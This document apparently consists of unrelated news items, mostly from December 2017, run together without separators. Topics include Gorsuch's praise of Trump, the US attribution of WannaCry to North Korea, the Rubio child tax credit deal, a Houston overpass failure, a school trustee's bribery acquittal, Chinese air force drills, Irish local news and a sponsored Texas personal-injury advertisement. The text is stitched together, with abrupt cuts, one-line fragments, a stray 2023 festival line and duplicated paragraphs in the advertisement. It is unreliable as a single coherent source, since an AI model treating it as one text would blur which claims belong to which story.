"I appointed and confirmed a Supreme Court justice in the mold of the late, great Antonin Scalia," he said, "and now Justice Gorsuch has a seat on the United States Supreme Court."

In his March note to Trump, Gorsuch was similarly effusive.

"The team you have assembled to assist me in the Senate is remarkable and inspiring," he wrote. "I see daily their love of country and our Constitution, and know it is a tribute to you and your leadership for policy is always about personnel."

He concluded, "Congratulations again on such a great start."
The U.S. blamed North Korea for the WannaCry ransomware attack that affected hundreds of thousands of computers globally this year, offering further justification for the White House's campaign to step up international pressure on the regime.

"After careful investigation, the United States is publicly attributing the massive WannaCry cyberattack to North Korea," White House homeland security adviser Tom Bossert told reporters Tuesday. "We do not make this allegation lightly. We do so with evidence, and we do so with partners."

WannaCry crippled parts of the U.K.'s state-run National Health Service and compromised companies such as FedEx Corp. and Nissan Motor Co.

After WannaCry began infecting computers powered by Microsoft's Windows via the internet on May 12, users had 72 hours to pay $300 in bitcoin, or pay twice as much. Paying didn't unlock their computers, Bossert wrote in a Wall Street Journal op-ed that was published Monday.

"It was cowardly, costly and careless," he wrote. "The attack was widespread and cost billions, and North Korea is directly responsible."

While calling the public attribution an initial step in holding North Korea accountable, Bossert said President Donald Trump had already exhausted many of the tools available for punishing the regime in Pyongyang as he seeks to halt its nuclear weapons and ballistic missile programs.

"North Korea has done everything wrong as an actor on the global stage that a country can do," he told reporters Tuesday during a White House briefing. "President Trump has used just about every lever that you can use short of starving the people of North Korea to death to change their behavior. And so we don't have a lot of room left here to apply pressure to change their behavior."

Bossert called on governments and companies around the world to cooperate to mitigate cyber risk, and said the U.S. would lead the effort. Microsoft, Facebook and other companies worked to disrupt the attack and moved last week to disable North Korean accounts that were being used for cyber attacks, Bossert said.

Jeanette Manfra, assistant secretary of homeland security for cybersecurity and communication, said that the companies should take additional steps to collaborate with the government to defend against cyber attacks..

"We make it way to easy for attackers by operating independently," she told reporters. "Our adversaries are not distinguishing between public and private so neither should we. government and industry must work together, now more than ever, if we are serious about improving our collective defense."

North Korea has been developing cyber capabilities as trade sanctions and a debilitated domestic economy make it difficult to invest in conventional military capabilities, said Tom Uren, a visiting fellow at the Australian Strategic Policy Institute's International Cyber Policy Centre.

"Having a formal report gives more weight to negotiations when the U.S. approaches China, or Russia or anywhere else that might be providing North Korea with internet services," Uren said. "It gives them something else to bring to the table."

The U.K. government in October blamed North Korea for the attack on the NHS. Kim Jong Un's regime denied any connection. Until now, the U.S. hadn't publicly named Pyongyang as being behind the attack. In addition to the U.K., Australia, Canada and Japan are among countries that agree with the U.S. analysis, Bossert said.

While North Korea allows internet access to only a small portion of its population, it began to train its techno soldiers in the early 1990s, according to South Korea's Defense Security Command. The country probably employs 1,700 state-sponsored hackers, backed by more than 5,000 support staff, according to ASPI.

North Korea has grown increasingly adept at breaking into computer systems around the world for financial gain and strategic benefit. This year, the regime's cyber warriors have been linked to stolen U.S.-South Korean military plans and the alleged theft of $60 million from a Taiwan bank.

The hackers drew international headlines in 2014 when they allegedly broke into Sony Corp.'s movie business as it was preparing to release "The Interview," a Seth Rogen and James Franco comedy about meeting the North Korean leader.
WASHINGTON - Sen. Marco Rubio, R-Fla., threw the Republican tax bill into chaos last week when he threatened to vote against it if it didn't include a more robust tax credit for working families.

But by mid-Thursday, GOP leaders had increased the credit by enough to secure Rubio's vote for the bill. The last-minute change will put, on average, about an extra $300 per child in the hands of families earning between $25,000 and $40,000 a year. But it does virtually nothing for those earning even less.

Under current law, the Child Tax Credit gives families $1,000 per child to knock off their tax burden to the federal government. The Senate tax bill doubled the credit to $2,000. But to get the full amount, you have to owe a high amount in federal taxes. Families that make less money owe less money to the government and, as a result, can get less money from the credit.

Rubio and Sen. Mike Lee, R-Utah, wanted to restructure the Child Tax Credit to allow more poor Americans to claim more relief. Under Rubio's plan, even if a family owed the government no money, the government would send that family a check if they qualify for the credit. That would allow them to still benefit just like wealthier Americans with big federal tax burdens to reduce. (During the tax debate, Rubio frequently noted that those who don't earn enough to have an income tax burden still pay payroll taxes, which automatically take money from Social Security and Medicare out of our paychecks. Rubio wanted these families, which don't pay income taxes, to also benefit from the tax credit by being compensated for their payroll taxes.)

But in exchange for his vote on the bill, Rubio was only partly successful in revamping the Republican proposal to give some low-income Americans more money from the credit.

Under the Senate bill, a family earning $25,000 per year with two children would have received only $2,300 from the tax credit, according to the Center on Budget and Policy Priorities. Under the compromise reached between Rubio and GOP leadership, that same family will receive $2,900 for their children. That's an additional $600.

But the poorest working families did not benefit at all from that agreement. In the bill the Senate passed, some of the lowest-income workers - those making roughly $15,000 per year - would get a total of $1,875 in tax credits for two children. That's the same amount this family would receive after the negotiated deal that won Rubio's vote. And it's less than half of the $4,000 a wealthy family with two children will get (though the latter family will also lose some other forms of tax relief, like the dependent deduction, which was eliminated under the bill).

Ernie Tedeschi, a former economist at the U.S. Treasury, produced the chart below illustrating the competing policy options for the tax credit. The blue bars represent where the Senate bill stood this week before the changes initiated by Rubio's demands were accepted; the orange bars show the bill after Rubio's changes took effect; and the yellow bars show the Rubio-Lee preferred policy, with both full refundability and immediate access to the credit on the first dollar earned.

Proponents of the change argue that families earning from about $15,000 to $40,000 do appear slated for increases of several hundred dollars, even as they recognize that the bottom decile of the income distribution did not get a bump. "I really care about people who are in deep poverty getting cash, and I'm really disappointed they didn't change that," said Samuel Hammond, a poverty expert at the Niskanen Center who has worked closely with Rubio in advocating a more robust tax credit for the poor. "But there's still very large resources going to the working poor, even if it's not the ones at the most extreme level of poverty."

An average annual tax refund increase of $300 could make a big difference to those earning under $40,000 a year, Hammond said. "That's the annual cost for diapers for a lot of households. It's not insignificant for a lot of very poor families," Hammond said. "People are expecting miracles from a very weak bargaining position. If Rubio hadn't done this, we would have wound up with nothing."

But other tax experts criticized the decision not to expand the credit for the poor, saying it would render 10 million families at the very bottom of the income distribution eligible for only the "token" tax credit of under $75, said Chuck Marr, director of federal tax policy at the progressive Center on Budget and Policy Priorities.

"The saddest part is that the single mom who works for the minimum wage as a home health aide and has two kids was left out of the final agreement," Marr said.

Beyond offering virtually no relief for the very poorest workers, the compromise tax credit also faces scrutiny over how it would be financed. Originally, Rubio wanted to pay for the higher tax credit by shrinking the size of the bill's proposed corporate tax cut. But lawmakers instead chose to raise some of the money for the provision by scrapping the draft's increase in the age of the child who qualified for the Child Tax Credit from 16 to 17, and by lowering the income threshold when the tax credits begin to phase out. In other words, lawmakers moved money around within the credit, rather than adding to total spending on working households by reducing the bill's tax cuts for corporations and the rich.

The final bill kept a new provision that requires proof of a valid Social Security number to claim the tax credit, effectively ending it for close to 1 million children, most of them undocumented immigrants brought to America by their parents, according to Center on Budget and Policy Priorities.

The Senate is expected to vote on the final tax plan as soon as Tuesday. It has Rubio's support.
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A bridge that transportation officials patched just days ago didn't last long enough for crews to come in and make the needed long-term repairs, before a couch-sized hole eroded Tuesday, mangling morning traffic along Interstate 69.

The crumbled overpass was confirmed about 5:30 a.m. Tuesday, causing an accident and significant traffic delays around I-69 and Little York, according to Houston Transtar.

The span carries the freeway across the local road, in one of the busiest stretches of I-69 in the Houston area.

Transtar reported seven vehicles were involved in the accident caused by the hole. For most of the day, only one of five lanes remained open, Texas Department of Transportation spokesman Danny Perez said.

Now Playing: 07:00:00 Video: Fox 26 Houston

Tuesday afternoon, he said workers were waiting for concrete to cure, and expected to have the lanes open around 8 p.m., though more work was likely overnight. Crews had to first remove all the damaged the pavement and rebar, cutting a square shape around the failed roadway, then rebuilding the steel rebar and pouring concrete.

Officials already planned to have a work crew in the area, after noticing the problem and making temporary repairs on Saturday. At that time, they poured asphalt into what then was a pothole, hoping to return with a permanent solution.

"It wasn't to the point where it was today," Perez said.

Rain and possibly heavy traffic over the weekend didn't give them the chance.

GALLERY: Sinkholes around the world

Perez said wear and tear over time was the possible culprit for the erosion, typically due to weather or the concrete materials loosening and breaking apart. Often, he said, TxDOT is able to prevent these types of holes through maintenance but occasionally falls behind.

The work planned for Tuesday night, aimed at addressing a number of problems along I-69, will go on, Perez said, leading to other lane closures. Those lanes will be closed from 9 p.m. to 5 a.m., he said.
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A federal jury found Olga Hernandez not guilty Tuesday of conspiracy to commit honest services wire fraud and conspiracy to solicit and accept bribes, rejecting arguments by prosecutors that she had a long-running arrangement with an insurance broker to back his contracts as a San Antonio Independent School District trustee.

The jury took more than five hours to reach the verdict. Hernandez wept and hugged her attorneys when it was announced to gasps from family and friends who filled nearly half the courtroom. Their expressions of relief and support were loud enough for U.S. District Judge Xavier Rodriguez to order quiet, and they cheered Hernandez anew as she exited the federal courthouse.

I was just happy to give my side of the story, and that the jury believed it, because there was a lot said on the other side that was not true, Hernandez said. I was never bribed.

Evidence showed Hernandez accepted lavish casino trips, dinners, jewelry, campaign contributions and Spurs playoff tickets from insurance broker Samuel Mullen and his former employee Joshua Cerna, the prosecutor, Assistant U.S. Attorney Mark Roomberg, said in closing arguments.

In return, he said, Hernandez voted for insurance contracts that earned sizable commissions for the Mullen Pension & Benefits Group and championed the company at meetings with district officials and her fellow trustees.

She advocated for them out in the open and behind the scenes, Roomberg said. They never called it a conspiracy. They always referred to it as a team.

Testimony about the alleged scheme came from Mullen, Cerna and the school districts own consultant, William Haff  all of whom have pleaded guilty to federal charges in the case. They said they coached Hernandez on how to push for contracts that would earn the Mullen Group commissions, even during no-contact periods between bidders and trustees.

The FBI said Mullen bribed Haff with more than $83,000 to help win contracts.

After they were approached by the FBI, Cerna and Haff agreed to cooperate and secretly recorded conversations with Hernandez. Some of the talks formed the backbone of the governments case, including a discussion of insurance issues during which Hernandez accepted a $500 James Avery gift card from Cerna that had been provided to him by the FBI.

Hernandezs attorney, William T. Reid IV, told the jury that Hernandez accepted gifts as part of a friendship with Mullen and Cerna, but never pledged her vote or interfered with the school districts contracting process. He questioned how Hernandez could have known Mullen was bribing Haff for inside information from SAISD if the school districts risk manager did not know.

Reid asked jurors to distinguish Hernandezs thoughts and actions from those of Mullen, Cerna and Haff. Hernandez and her husband were retirees of limited means, while Sam Mullen was a high roller who had to pay the couples way if he wanted to socialize with them, Reid said.

Theres no proof that she rigged a single thing, Reid said. She fell victim and thought she was really friends with these people.

Frequently calling Cerna Judas and Haff half-truth, Reid said they testified against Hernandez to reduce their sentences. He said Mullen never had an agreement with Hernandez.

Reid called the James Avery gift card a trap.

They set out to confirm what they thought to be the case and they couldnt do it, so they came up with this gift card scheme, Reid said.

More than two hours into deliberations, the jury asked for the legal definition of entrapment.

Entrapment is not an issue for you to consider in this case, nor is it a defense in this case, Rodriguez replied.

All Hernandezs votes that benefited the Mullen Group were based on the recommendations of SAISDs risk manager, Reid said. When the risk manager recommended replacing Haffs firm as the districts insurance consultant, Hernandez voted to do so. Hernandez never asked to be on the boards finance subcommittee that governed insurance, Reid said. Nor, Reid said, did she push to fire SAISDs risk manager, although the Mullen Group wanted it.

Reid said Hernandez thought the James Avery gift card was a present for witnessing vow renewals between Cerna and his wife. When Cerna later tried to give Hernandez a $1,000 Saks gift card, she turned it down, Reid said.

Prosecutors countered that Hernandez pressured SAISDs risk manager to allow the Mullen Group time to enroll more employees, earning the brokerage firm more revenue from commissions. The risk manager, Irma Hernandez, testified she had to cancel some policies because the Mullen Group sold them to the districts lowest-paid employees at premiums beyond their means.

Irma Hernandez tried to save the district and its taxpayers money by eliminating commissions from insurance contracts, prosecutors said. But Olga Hernandez used her influence with former Superintendent Sylvester Perez to add the commissions back in, Roomberg said.

Mullen, Cerna and Haff mentioned other SAISD trustees who supported the firms contracts through the years. Haff said several now former trustees received free meals and trips on Mullens dime.

But Hernandez, who was on the board for 11 years before stepping down in February, days after her indictment, was the only SAISD trustee, current or former, who was charged in the case. She understood her role in supporting Mullen and how she benefited from it, Haff testified.

Reid, of the Austin-based firm Reid Collins & Tsai, is a former federal prosecutor who said he defended Hernandez pro bono because he was disturbed by the governments treatment of her. He compared Hernandez to Muhammad Ali for refusing to plead guilty and cooperate with prosecutors, as Haff and Cerna did.

When the government does wrong, we the citizens need to stand up and thats what this jury did today, Reid said after the verdict.

amalik@express-news.net
LONDON - An air base in England that is used by the U.S. Air Force was put on lockdown Monday after U.S. military personnel responded with gunfire to an intruder who tried to force his way through a checkpoint.

A suspect, who has not been publicly identified, had cuts and bruises and was taken into custody after the episode - the Suffolk Police called it a "significant incident" - broke out around 1:40 p.m. at the Mildenhall air base, about 75 miles from London.
UNITED NATIONS - The United States on Monday vetoed a resolution supported by the 14 other U.N. Security Council members that would have required President Donald Trump to rescind his declaration of Jerusalem as the capital of Israel, a vote that showed the depth of global opposition to the U.S. move.

The United States was certain to veto the Egyptian-sponsored resolution, but its Arab supporters wanted the vote to demonstrate that countries everywhere and even many U.S. allies such as Britain, France and Japan are against Trump's action.
China hopes US national security strategy will promote strategic mutual trust between the two countries, Foreign Ministry spokeswoman Hua Chunying said on Monday, ahead of a major speech on security by US President Donald Trump.

Trump will lay out a new US national security strategy on Monday based on his "America First" policy and will make clear that China is a competitor, two senior US officials were quoted by Reuters as saying on Saturday.

Hua said given the significance of the United States, and that it is a permanent member of the United Nations Security Council, China hopes that its national security strategy can play a constructive role in promoting world peace and stability.

"We hope it can also contribute to enhancing the strategic mutual trust between China and the US," she said at a daily news conference in Beijing. The spokeswoman also said that China has paved its own way to achieve development as well as bringing benefits to the whole world after three decades of reform and opening-up, and "the essence of the China-US trade and economic relationship is mutually beneficial and win-win".

In 2016, bilateral trade between the two exceeded $550 billion and two-way investment was over $200 billion, directly and indirectly supporting 2.6 million US jobs.

In 2015, the profits of US enterprises that invested in China reached $36.2 billion.

China will continue to implement the policy of trade and investment liberalization and facilitation, which will further balance and promote the bilateral trade ties, as well as boosting economic cooperation, Hua said.

"China is willing to work with the US to build a robust, stable and healthy trade and economic relationship," she said, "and we believe this conforms to the interests of both countries and their people, as well as global expectations."

Ruan Zongze, vice-president of the China Institute of International Studies, said Washington should consider Beijing trade ties in a broader, more responsible way, as they have benefited both sides.
President Donald Trump recently met with Texas senators and others to discuss the federal ethanol mandate.

As a White House spokesman said, the hope is to eventually find a win-win on the biofuel mandate. One that somehow serves corn producers, oil refiners and consumers.

By all accounts, it was a tepid meeting. Texas Sen. Ted Cruz called it productive and invoked the win-win rhetoric. Oklahoma Sen. James Lankford said, There wasnt a resolution. It was we need to get a resolution. Iowa Sen. Chuck Grassley felt no need to show up.

It will be interesting to see just what a win-win would look like for the renewable fuel standard. Its mostly looked like a lose-lose-lose for anyone not growing corn. The renewable fuel standard hurts the environment, harms refiners and makes food more expensive.

The point of the standard is to promote alternative fuels, notably from nonfood sources. But the program relies almost entirely on corn, which raises food prices. The plowing of prairie to grow corn creates carbon emissions.

Its also bad for business. The credit-trading program for refiners that lack infrastructure to blend ethanol with gasoline fluctuates wildly. Lawmakers have floated the idea of capping these credits to help stabilize the market.

Such a move would help refiners, but it would also perpetuate bad policy  one that exists for obvious political reasons. Iowa is an important state in presidential elections.

Woe to the politician who strips away subsidies for Midwestern corn producers. The mandate is the epitome of the swamp. It should be drained.
What Is My Personal Injury Case Worth?

In Texas, a personal injury case is only worth what a jury is willing to award you. This is why you need an attorney who can not only prove the economic damages you have sustained due to your accident, but can also demonstrate the value of non-economic damages you may have sustained, such as pain and suffering, mental anguish, and loss of consortium.

What are Examples of Economic Damages?

Economic damages are losses that have intrinsic monetary value. The two most common examples of economic damages sought in a personal injury case are medical expenses and lost wages.

When seeking medical expenses following a personal injury accident, you are entitled to reimbursement for procedures and services, including:

Doctor visits

Hospital stays

Emergency room treatment

Ambulance fees

Nursing services

Medication costs

MRIs, x-rays, and other scans

Surgery

Rehabilitation and physical therapy

To be awarded these damages you will have to demonstrate that the expenses are related to medical conditions resulting from the accident or injuries being addressed in your personal injury claim. You may also recoup future medical expenses provided your injuries will require ongoing treatment. The total amount of medical expenses is sometimes used to determine whether the overall award of damages is reasonable.

Lost wages represent the amount of money you would have earned from the time of an injury to the date of settlement. You can also recover loss of earning capacity if you have sustained a long-term disability and will be unable to make as much money as you did before your accident as well as damages for lost opportunities such as an interview or promotion you missed out on while you were recovering.

Aside from basic wage calculations (how much direct pay you lost), you are also able to claim:

Money that reflects a promotion or wage increase provided you were due for a wage increase or promotion while out of work.

Loss of commissions on sales.

Bonuses that you were paid in the past and were on track to receive prior to your injury.

Loss of fringe benefits.

Loss of pension benefits.

You can even recoup damages for the vacation or sick leave you used while recovering from your injury.

What Are Non-Economic Damages?

Non-economic damages are those that do not have a clear monetary value connected to them. As such, they can be difficult to quantify, and it can be even more difficult to demonstrate their determined value of the damages to a jury.

When seeking non-economic damages, you may pursue the following:

Pain and suffering  If you injury has resulted in pain or serious discomfort, you may be entitled to pain and suffering damages. This can include pain experienced when an injury was caused, pain experienced immediately after an injury was caused, and any ongoing pain that can be attributed to the injury or accident.

 If you injury has resulted in pain or serious discomfort, you may be entitled to pain and suffering damages. This can include pain experienced when an injury was caused, pain experienced immediately after an injury was caused, and any ongoing pain that can be attributed to the injury or accident. Loss of enjoyment  These damages attempt to quantify loss of enjoyment in day-to-day pursuits like hobbies, exercise, and other recreational activities.

 These damages attempt to quantify loss of enjoyment in day-to-day pursuits like hobbies, exercise, and other recreational activities. Emotional distress  Not all injuries are physical. If your accident or injury has had a psychological impact and has resulted in things like anxiety, depression, or sleep loss, you may be entitled to emotional distress damages.

 Not all injuries are physical. If your accident or injury has had a psychological impact and has resulted in things like anxiety, depression, or sleep loss, you may be entitled to emotional distress damages. Loss of consortium  Typically applied to wrongful death lawsuits, loss of consortium damages can also be sought when a severe injury has resulted in a loss of companionship or an inability to maintain a sexual relationship with a spouse. Children may also sue for loss of consortium if the injuries have significantly hampered the victims ability to provide care, nurturing, or comfort.

Are There Any Other Damages I Can Collect in My Personal Injury Case?

There is a final type of damage a jury may award you, provided your case meets a strict criteria. These are known as punitive damages.

Punitive damages are different from compensatory damages in that they are not meant to give a plaintiff back something that was lost. They are meant to punish the defendant for conduct that was especially reckless or malicious and demonstrate to society that the conduct displayed by the defendant will not be tolerated.

In order for punitive damages to be awarded, there must first be actual damages. Actual damages are thing s like medical bills, pain and suffering, mental anguish, and loss of wages. Without actual damages, punitive damages cannot occur.

Second, you must be able to demonstrate that the defendant acted with gross negligence. This means showing:

1. That a reasonable person in the same situation as the defendant would have known that their behavior or conduct involved an extreme degree of risk.

2. That the defendant knew of the risk but acted with disregard.

The most common example of gross negligence in an auto accident is when a person is injured or killed by a drunk driver. When a drunk driver gets behind the will, they have made a deliberate choice to ignore the obvious risk they could pose to others.

How Will an Experienced Injury Attorney Pursue My Claim?

In order to win your personal injury claim, your attorney will need to develop your case in a way that accurately demonstrates any economic and non-economic damages you have incurred. This will require legal expertise, financial resources, and a knowledgeable support staff.

Thomas J. Henry has the legal and financial resources necessary to properly develop and handle your case in the most effective and efficient way possible. Client satisfaction is paramount, and our attorneys make sure every client is treated with respect, is kept informed with the most up-to-date information on their case, and is made comfortable throughout the entire legal process as we work to secure the compensation they deserve.

We are constantly exploring and implementing new and innovative solutions in the areas of case management, client interaction, and information security. Through satellite technologies, live streaming, and jet services, our lawyers are accessible to clients from anywhere in the world. Cant make it to one of our Texas law offices? No worries  our lawyers can come to you at your home, workplace, or hospital. Case files and information can also be accessed at the click of a mouse, allowing information to be expedited between our team and to other legal professionals.

In personal injury cases, it can be extremely important to retain expert witnesses with specialized knowledge on a subject related to the case. Thomas J. Henry has spent years finding the best expert witnesses across the United States. Our firm retains the most qualified experts for each individual case, from accident reconstruction experts to medical professionals. Every expert undergoes a rigorous and in-depth examination process before ever being involved in a clients case.

Contact an Experienced Personal Injury Attorney

Thomas J. Henry Injury Attorneys is a personal injury law firm with offices in Corpus Christi, Texas, San Antonio, Texas, and Houston, Texas representing accident victims nationwide. Our priority is to provide our clients with the best legal representation. Our experienced trial attorneys are committed to defending your rights in personal injury matters including defective products, recalled drugs, child injuries, and auto accidents.

If you or someone you love has been injured in an accident, contact our offices immediately - we are available 24/7, nights and weekends.

Editors Note: This content is made possible by Thomas J. Henry Personal Injury Law. It is not written by and does not necessarily reflect the views of The San Antonio Express-News' or mySanAntonio.com's editorial staff. Learn more about our advertising products at www.hearstmediasanantonio.com.
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A Chinese air force plane flies for drills in international airspace over the Sea of Japan, Dec. 18, 2017. Chinese air force planes Monday flew through Tsushima Strait for the first time and conducted drills in international airspace over the Sea of Japan, an air force spokesperson said. (Xinhua/Wu Yuepeng)

BEIJING, Dec. 18 (Xinhua) -- Chinese air force planes Monday flew through Tsushima Strait for the first time and conducted drills in international airspace over the Sea of Japan, an air force spokesperson said.

The drills, involving bombers, fighters, reconnaissance planes and other aircraft, were aimed to examine the high-sea combat ability of the air force, said Shen Jinke, spokesman for the Chinese People's Liberation Army(PLA) Air Force.

The drills accomplished the planned purpose and improved the air force's manoeuvring capability on the high sea, he said, adding that Chinese planes responded to interference from foreign military aircraft.

As part of the air force's annual training program, the drills are in line with international laws and practices and do not target any particular country, region or object, said Shen.

The spokesman stressed that Tsushima Strait is not territorial waters, hence all countries enjoy freedom of navigation and overflight under the United NationsConvention on the Law of the Sea.

He described the drills as "legal and reasonable."
On Thursday November 23 last in excess of 500 farmers gathered in Granard Farmers Marts for a National Knowledge Transfer (KT) event organised by Paul Belton of Midland Agriculture Consultants.

Although the night was one of the coldest nights so far this winter, with temperatures dropping into nearly minus figures, this didnt stop the crowds.



Participants in the KT Program across the beef, sheep, dairy, equine and tillage sectors listened to key topics such as grass utilisation, agri-finance issues and legal matters on the night.



After an opening welcome from the organiser Paul Belton, the first speaker on the nights was Charlotte Kearney, manager of Granard Farmers Mart.

Ms Kearney gave some brief synoptic of the services provided by the Mart and closed her presenting by inviting more events like this to the venue in the future.



Next up was Alan Hurst, the Technical and Product Manager with Lakeland Dairies.



Alan gave a great insight into how increasing grassland productivity and utilisation can improve farm efficiency and profitability.



He also shared some interesting data collected by Lakeland Agri over the last five years and demonstrated how this information could be used to increase farm output and correct imbalances present in the soil.

Alan closed his presentation will some informative take-home messages which led nicely into the next speaker.



Local Granard man, Eammon OReilly from Allied Irish Bank (AIB), was next to take the floor where he discussed agri-finance, including farm loan applications.



Eammon has 19 years experience in the agri-finance sector and has a wealth of knowledge in this area.



He gave a very informative and helpful presentation on the night and shared practical advice on the changing dynamics of agri-lending as well as the agri-loan application process.



Most importantly though, Eammon shared the key components to a successful loan application as well as some of the most common pitfalls and how these pitfalls may be overcome.



The penultimate speakers on the night came from KBG Accountants based in Longford and Cavan town.

Ciaran Brady and Finola Tobin gave a comprehensive insight into taxes, accounting and corporate finance matters specific to farmers.

Ciaran highlighted the benefit of incorporation for farmers and spoke at length on tax matters relevant to farm succession planning.



The information provided by both speakers from KBG in relation to the various reliefs available under Irish tax laws, farming partnerships and stock relief availability lead to interesting questions from the floor at the end of the event.



Some say the best is always left till last and this may have been the case at this event, as the final speaker, Karen M Clabby from Karen M Clabby Solicitors gave a fantastic presentation on various legal matters which commonly arise in the agri-sector.



Well-known Longford based solicitor, Karen has over 15 years experience; she certainly exhibited her experience and knowledge on the night with clear information on wills, probate and succession planning, site transfers and self-build projects, land purchase and leasing as well as rights of way and title matters.



Karens take-home message of the importance of making a will, no matter your age, was great advice to all.

After taking-in all the valuable information provided by the speakers, farmers were invited into the Mart canteen for refreshments; much needed on such a cold night.



There, the presenters were on-hand to talk to farmers and provide more advice and information on a one-to-one basis.

Event organiser, Paul Belton closed the meeting with a sincere thanks to all the speakers for their thought-provoking presentations on a broad range of areas within the agri sector.



Mr Belton also thanked the farmers for attending the event and noted that without the farmers coming-out and participating, transfer of knowledge and improvement in farming practices would not be possible!
County Longford's rejuvenated local economy could be in line for further festive positivity, this time concerning its local pharmaceutical sector.

The Leader understands IDA chiefs are setting their sights on strengthening the county's pharmaceutical services sector over the coming weeks.

It follows hot on the heels of recent confirmation that a fledgling manufacturing company were on the cusp of setting up base at the former Cameron site.

Off-Site Construction, a newly established firm involved in the production of bathroom pods and other products for Ireland's building industry, has begun advertising for employees to commence work early in the new year.

An advertisement carried in last week's Longford Leader detailed how it wants to recruit steel fabricators, carpenters, trade persons, plumbers, electricians and tilers.

In a further boost, it's emerged this week that both IDA and Enterprise Ireland senior officials are working behind the scenes in an attempt to bring further jobs announcements to the county.

Longford/Westmeath TD Peter Burke said he had been left upbeat about those prospects following recent talks with IDA Chief Executive Martin Shanahan.

"I met with Mr Shanahan only recently and he was very confident additional jobs will be arriving (to Longford) at the (Cameron) site and in Longford in general."

Mr Burke would not be drawn on what potential job announcements were being worked on, though the Leader has learned a large slice of that focus centres principally on bolstering job numbers in Longford's pharmaceutical industry.

Medical products giant Abbott is already one of Co Longford's largest employers and earlier this year signalled its intention to create 150 additional jobs by carrying out a 3,000-square-metre extension to its plant at Lisnamuck.

ALSO READ:

EXCLUSIVE: Longford set for major jobs boost
(Xinhua) 07:41, December 19, 2017

The Central Economic Work Conference opened Monday, as Chinese leaders began to review the country's economic performance in 2017 and make plans for 2018.

The Central Economic Work Conference was opened on Monday to review China's 2017 economic performance and make plans for 2018. [Photo: IC]

While reviewing the economic work during the past five years, the meeting will focus on implementing decisions at the 19th National Congress of the Communist Party of China and making arrangements for economic tasks in 2018, with high-quality development as a fundamental requirement.

Observers noted that the decisions to be made at the meeting will reflect China's new development concept featuring high-quality development.

Curbing major risks, eradicating poverty and pollution control would be the "three tough battles" for 2018, with substantial progress expected.

The economic agenda will focus on deepening supply-side reform, invigorating market participants, applying rural revitalization strategy, pushing coordinated rural-urban development and all-around opening up.

The work in the next year will also be aimed at helping improve people's living standard, building a housing mechanism with lasting effects, and supplying more high-quality ecological products.

China's GDP expanded 6.9 percent year on year in the first three quarters, above the government's target of around 6.5 percent for this year.

The economy has shown improving structures with new economy contributing over 10 percent to the overall growth, and the growth rate of residents' income outstripping the overall economic growth.

With an average growth of over 7 percent in the past 5 years, the Chinese economy contributed over 30 percent of global economic growth, seen as powerhouse and anchor of the global economy.

However, the world's second largest economy still faces complicated global environment and domestic structural conflicts, potential risks in the financial system, and disparities by industries and regions.

The International Monetary Fund (IMF) recently pointed out China's rapid build-up of credit and risky lending moving away from banks toward less-regulated parts of the financial system known as "shadow banking".

"The system's increasing complexity has sown financial stability risks," the IMF said, advising China to take measures such as strengthening of systemic risk oversight and improving regulation.
(Xinhua) 08:10, December 19, 2017

Beijing traffic authorities have given the green light for road tests of self-driving cars in an effort to foster the use of artificial intelligence (AI) for mobility.

A Changan Automobile's self-driving car is seen during a test drive on a highway in Beijing, April 16, 2016. [File Photo: VCG]

According to the Beijing municipal commission of transport, only entities registered in China can apply for the road test. The vehicle should be able to switch between self-driving and conventional modes and be equipped with sensors and cameras so its driving behavior and position can be monitored, the commission said.

The car should pass a technical assessment at a training ground before being allowed on open roads. There are designated roads and hours for the test drive. A driver is required, and the driver will be held responsible if accidents occur, the commission added.

The regulation came after Baidu boss Robin Li test drove the company's autonomous vehicle on Beijing's open roads in July, causing controversy as there were no rules regarding such test.

Autonomous vehicles have been drawing investment. According to a report by Tencent Research Institute, financing for aided or self-driving cars in China has reached 10.7 billion yuan (1.6 billion U.S. dollars). Mobility ranks as the third-hottest AI-related industry following vision-image analysis and voice processing.

The commission said Beijing has businesses spread through the whole industrial chain of automated driving, and that the city will give greater support to the development and commercialization of autonomous vehicles.
The great Gold Rush Music Festival returns to the township of Waihi, with the first nuggets of gold dropping for the highly anticipated return of the 2023 festival.
A Chinese air force plane flies for drills in international airspace over the Sea of Japan, Dec. 18, 2017. Chinese air force planes Monday flew through Tsushima Strait for the first time and conducted drills in international airspace over the Sea of Japan, an air force spokesperson said. (Xinhua/Wu Yuepeng)

Several Chinese bombers, fighters and surveillance aircraft encountered and dealt with interference from foreign warplanes while conducting a training mission over the Tsushima Strait on Monday, according to a Chinese military spokesperson.

This is the first time that the People's Liberation Army (PLA) Air Force has flown over the Tsushima Strait, Shen Jinke, spokesman for the Chinese People's Liberation Army (PLA) Air Force, was quoted as saying in a statement released on the organization's official Sina Weibo account.

The Tsushima Strait, which lies between South Korea and Japan, belongs to international waters and the training, routinely conducted by the PLA Air Force annually during this time of the year, is in line with international law and practice and did not target any specific country, region or target, the statement said.

Various types of military aircraft, including H-6K strategic bombers and Su-30 fighter jets were taking part in a high-seas training exercise when they had to deal with interference from foreign military aircraft, the statement said.

According to a report from South Korea's Yonhap News Agency citing Seoul's Joint Chiefs of Staff (JCS), the South Korean Air force dispatched F-15K fighters in an emergent patrol mission on Monday after five Chinese military aircraft allegedly entered the Korean Air Defense Identification Zone (KADIZ) that morning.

According to the JCS, two H-6K bombers, two Su-30 fighter jets and a single TU-154 aircraft from China entered the KADIZ after flying through a Japanese air defense identification zone.

This is the second time this month that a training mission involving bombers and fighters from PLA Air Force has been made public. The previously announced mission involved a regular patrol exercise that passed over the Bashi Channel and Miyako Strait near the island of Taiwan last week.

As an important force for managing crisis and winning wars, the PLA Air Force is proactively taking steps to accomplish its mission for a new era, said Shen, adding that the Air Force has "flown new routes that it has never flown before and gone to places it has never been to before."
Managing IP is introducing some changes to our awards in 2018. Following feedback from guests, we are introducing a new ceremony and changing the coverage of some existing events.

In recent years, weve held a global (excluding North America) awards ceremony in London and a North America ceremony in Washington DC.

Next year, we are expanding the Americas ceremony to including South America and Central America. The newly named Managing IP Americas Awards will also be moving to New York City.

The London ceremony, Managing IP EMEA Awards, will purely focus on Europe, Middle East and Africa.

Lastly, we will be launching the Managing IP Asia-Pacific Awards in Hong Kong.

All three ceremonies will feature more awards categories, including in-house awards.

Some dates for your diaries include:

Shortlist/Nominations Announcement

Published in early February 2018

Managing IP EMEA Awards

The Savoy, London, March 8 2018

Managing IP Americas Awards

Essex House, New York, March 15 2018

Managing IP Asia-Pacific Awards

JW Marriott, Hong Kong, March 21 2018

The research methodology for the awards remains unchanged, and is listed below. If you have any questions about the research please contact our research team at research@managingip.com

Awards research process

